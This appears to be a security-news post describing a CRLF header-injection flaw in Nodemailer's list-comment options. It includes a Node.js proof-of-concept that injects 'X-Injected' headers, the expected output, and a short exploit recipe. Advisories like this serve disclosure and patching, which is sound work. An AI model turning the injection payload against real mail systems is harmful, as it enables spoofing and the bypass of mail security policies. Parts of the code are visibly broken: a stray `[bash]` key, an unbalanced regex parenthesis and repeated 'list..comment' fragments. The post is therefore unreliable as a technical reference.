Listen to this Post
The vulnerability arises because Nodemailer constructs `List-` headers from the caller-provided `list` message option using internally prepared header values. Specifically, the `list..comment` field is inserted into those prepared values without removing CR (\r) or LF (\n) characters. Since prepared headers bypass the normal header-value sanitizer and are passed to mimeFuncs.foldLines(), a CRLF sequence in a list comment is emitted as an actual header boundary in the generated RFC822 message. The injection occurs in `lib/mailer/mail-message.js` lines 241-249, where `_getListHeaders` is called and each returned value is added via this.message.addHeader. The prepared headers are marked { prepared: true, foldLines: true }. For List-ID, the comment is wrapped in quotes if plain text, but CRLF is not neutralized. For other `List-` headers, the comment is placed in parentheses. The `lib/mime-node/index.js` trusts `prepared` and pushes `mimeFuncs.foldLines` directly into the header block, bypassing sanitization. The `url` field is cleaned, but the `comment` field is not. Default exposure is via createTransport().sendMail(), and the `examples/full.js` documents `list.unsubscribe.comment` and `list.id.comment` as normal options. Negative controls show that ordinary `subject` headers with CRLF are normalized, and SMTP command injection is not possible. Variant analysis confirms all seven `List-` header types (help, unsubscribe, subscribe, post, owner, archive, id) are vulnerable. The affected version is confirmed at nodemailer 8.0.8 (commit 15138a84c543c20aa399218534cdbbfa2ea1ce55), with older versions possibly affected back to v3.1.8. Severity is medium due to header injection without code execution or SMTP envelope manipulation.
DailyCVE Form:
Platform: Node.js
Version: 8.0.8
Vulnerability: CRLF injection
Severity: Medium
date: 2024-02-19
Prediction: 2024-03-15
Analytics under What Undercode Say:
Clone vulnerable commit
git clone https://github.com/nodemailer/nodemailer.git
cd nodemailer
git checkout 15138a84c543c20aa399218534cdbbfa2ea1ce55
npm install
Run PoC
node <<'NODE'
'use strict';
const nodemailer = require('./');
const headersEnd = raw => raw.slice(0, raw.indexOf('\r\n\r\n'));
const hasStandaloneInjected = raw => /\r\nX-Injected: yes)/.test(raw) || /\r\nX-Injected: yes\r\n/.test(raw);
(async () => {
const transport = nodemailer.createTransport({ streamTransport: true, buffer: true });
const positive = await transport.sendMail({
from: '[email protected]',
to: '[email protected]',
subject: 'control',
list: { unsubscribe: { url: 'https://example.test/u', comment: 'ok\r\nX-Injected: yes' } },
text: 'body'
});
const positiveRaw = positive.message.toString('utf8');
console.log('POSITIVE_HAS_INJECTED=' + hasStandaloneInjected(positiveRaw));
console.log('POSITIVE_LIST_LINE=' + JSON.stringify(headersEnd(positiveRaw).split('\r\n').filter(line => /^List-Unsubscribe:|^X-Injected:/.test(line)).join('\n')));
const control = await transport.sendMail({
from: '[email protected]',
to: '[email protected]',
subject: 'safe\r\nX-Injected: no',
text: 'body'
});
const controlRaw = control.message.toString('utf8');
console.log('CONTROL_HAS_INJECTED=' + /\r\nX-Injected: no\r\n/.test(controlRaw));
console.log('CONTROL_SUBJECT=' + JSON.stringify(headersEnd(controlRaw).split('\r\n').filter(line => /^Subject:|^X-Injected:/.test(line)).join('\n')));
const variantKeys = ['help', 'unsubscribe', 'subscribe', 'post', 'owner', 'archive', 'id'];
const result = [];
for (const key of variantKeys) {
const info = await transport.sendMail({
from: '[email protected]',
to: '[email protected]',
subject: 'variant ' + key,
list: Object.assign({}, { [bash]: { url: key === 'id' ? 'example.test' : 'https://example.test/' + key, comment: 'c\r\nX-Variant-' + key + ': yes' } }),
text: 'body'
});
result.push(key + '=' + new RegExp('\r\nX-Variant-' + key + ': yes').test(info.message.toString('utf8')));
}
console.log('VARIANTS=' + result.join(','));
})().catch(err => { console.error(err && err.stack || err); process.exit(1); });
NODE
Expected output:
POSITIVE_HAS_INJECTED=true
POSITIVE_LIST_LINE="List-Unsubscribe: <a href="https://example.test/u">https://example.test/u</a> (ok\nX-Injected: yes)"
CONTROL_HAS_INJECTED=false
CONTROL_SUBJECT="Subject: safe X-Injected: no"
VARIANTS=help=true,unsubscribe=true,subscribe=true,post=true,owner=true,archive=true,id=true
Exploit:
Inject arbitrary headers by embedding CRLF sequence in any `list..comment` field (e.g., comment: "ok\r\nX-Injected: malicious"). Nodemailer will output the comment as part of the List- header value, but the CRLF creates a new header line in the RFC822 message, allowing attacker-controlled headers like `X-Injected: yes` or X-Variant-.
Protection:
Upgrade to patched version (not yet identified at time of writing) or manually sanitize `list..comment` input by removing/replacing `\r` and `\n` before passing to Nodemailer. Alternatively, avoid using user-supplied data in list comment fields. Apply a wrapper that normalizes header values using the same CRLF-neutralization as ordinary headers.
Impact:
A lower-privileged or unauthenticated attacker can inject arbitrary email headers, altering message metadata, mail-client behavior, spam filters, and downstream processing. No SMTP command injection, recipient injection, or code execution is demonstrated, but header injection can lead to email spoofing, misrouting, or bypass of security policies.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

